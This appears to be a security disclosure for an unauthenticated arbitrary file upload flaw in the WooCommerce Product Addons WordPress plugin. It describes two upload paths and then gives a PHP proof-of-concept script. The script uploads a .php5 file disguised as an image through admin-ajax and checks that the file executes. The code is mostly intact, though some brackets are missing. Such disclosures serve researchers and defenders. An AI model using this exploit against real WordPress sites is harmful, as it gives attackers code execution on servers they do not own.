WooCommerce Product Addons [Unauthenticated Arbitrary File Upload]


Update 2016-09-20: This was first reported here. Plugin author suggests in the changelog that this issue was resolved in v2.2 which clearly is not the case. Disclosure author also suggests that this is fixed in v2.2.

Method 1

Plugin registers a number of AJAX actions but it fails to sufficiently implement security controls in the callback functions. Additionally all AJAX actions are available to non-registered users. This allows a malicious user to perform various plugin actions almost without any restriction.

Those actions are defined in the \NM_Framwork_V1::$ajax_callbacks property and they include:

  • Updating plugin options
  • Uploading files
  • Updating post-form meta
  • many more…

The most severe is the uploading files action. This action calls the method \NM_PersonalizedProduct::upload_file which checks uploaded files extensions against a whitelist that contains only the php and exe extension. Of course this is nowhere near secure.

Method 2

Uploading files as an unauthenticated user is also possible if the attacker calls the script wp-content/plugins/woocommerce-product-addon-1/js/plupload-2.1.2/examples/upload.php. This script is a leftover from the library plupload and it seems that this is actively exploited in the wild. For this script to work the PHP env var upload_tmp_dir must be set and it has to point to a location readable and writable by the user that executes the script. In many systems this var is empty by default so the aforementioned script will try to create a dir in system root folder so normally will fail.

In the case which this var is set and pointing to readable-writable dir then a request like the next one will upload a file in the vulnerable webserver.


#!/usr/bin/env php
 * WooCommerce Product Addons [Unauthenticated Arbitrary File Upload]
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );

$fileName = uniqid() . '.php5';
$identifier = uniqid();

$postData = [
    'action' => 'nm_personalizedproduct_upload_file',
    'name' => $fileName

Cli::writeInfo('Sending payload...');
$s = new \Wordfence\ExKit\Session();
$r = $s->upload( Endpoint::adminAjaxURL(),
        'file' => [
            'fileContents' => "<?php echo '{$identifier}';",
            'fileName'     => $fileName,
            'contentType'  => 'image/png',
    ] );

$rJson = @json_decode($r->body);

    ExitCodes::exitWithFailed('Upload failed');

Cli::writeInfo('Verifying exploit...');

$uploadsPath = Endpoint::uploadsURL().'/product_files/'.$rJson->file_name;

$r = Request::get($uploadsPath);

if(!$r->success || $r->body != $identifier){
    ExitCodes::exitWithFailed('Verification failed');

ExitCodes::exitWithSuccess('Exploitation successful');